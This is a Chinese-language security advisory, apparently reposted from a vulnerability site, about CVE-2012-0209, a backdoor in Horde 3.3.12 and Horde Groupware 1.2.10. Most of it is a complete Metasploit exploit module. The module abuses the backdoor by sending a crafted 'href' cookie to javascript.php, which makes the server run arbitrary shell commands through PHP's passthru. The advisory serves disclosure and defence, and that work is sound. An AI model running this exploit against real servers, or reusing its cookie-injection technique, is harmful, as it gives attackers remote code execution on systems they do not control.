发布日期:2012-02-17
更新日期:2012-02-21
受影响系统:
Horde Horde 3.3.12
Horde Horde Groupware 1.2.10
描述:
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CVE ID: CVE-2012-0209
Horde Groupware是邮件和通讯解决方案。Metasploit软件可帮助IT专业人士识别安全漏洞,有助避免数据泄露。
Horde 3.3.12和Horde Groupware 1.2.10被植入了后门代码,远程攻击者可能利用这个问题在服务器上执行任意PHP代码。
链接:http://packetstormsecurity.org/files/109874/horde_href_backdoor.rb.txt
*>
测试方法:
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警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
packetstormsecurity ()提供了如下测试方法:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution',
'Description' => %q{
This module exploits an arbitrary PHP code execution vulnerability introduced
as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.
},
'Author' => [
'Eric Romang', # first public PoC
'jduck' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-0209'],
[ 'URL', 'http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155' ],
[ 'URL', 'http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/' ]
],
'Privileged' => false,
'Payload' =>
{
'BadChars' => "\x0a\x0d",
'DisableNops' => true,
'Space' => 4096,
'Compat' =>
{
'PayloadType' => 'cmd',
}
},
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'DefaultTarget' => 0,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Feb 13 2012'
))
register_options(
[
OptString.new('URI', [true, "Path to Horde installation", "/horde"]),
OptString.new('APP', [true, "App parameter required by javascript.php (must be active)", "horde"]),
], self.class)
end
def exploit
# Make sure the URI begins with a slash
uri = datastore['URI']
if uri[0,1] != '/'
uri = '/' + uri
end
# Make sure the URI ends without a slash, because it's already part of the URI
if uri[-1, 1] == '/'
uri = uri[0, uri.length-1]
end
function = "passthru"
key = Rex::Text.rand_text_alpha(6)
arguments = "echo #{key}`"+payload.raw+"`#{key}"
res = send_request_cgi({
'uri' => uri + "/services/javascript.php",
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'data' => "app="+datastore['APP']+"&file=open_calendar.js",
'headers' =>
{
'Cookie' => "href="+function+":"+arguments,
'Connection' => 'Close',
}
}) #default timeout, we don't care about the response
if (res)
print_status("The server returned: #{res.code} #{res.message}")
end
resp = res.body.split(key)
if resp and resp[1]
print_status(resp[1])
else
print_error("No response found")
end
handler
end
end
建议:
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厂商补丁:
Horde
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.horde.org
http://www.dengb.com/xtaq/785579.htmlwww.dengb.comtruehttp://www.dengb.com/xtaq/785579.htmlTechArticle发布日期:2012-02-17 更新日期:2012-02-21 受影响系统: Horde Horde 3.3.12 Horde Horde Groupware 1.2.10 描述: ---------------------------------------------------...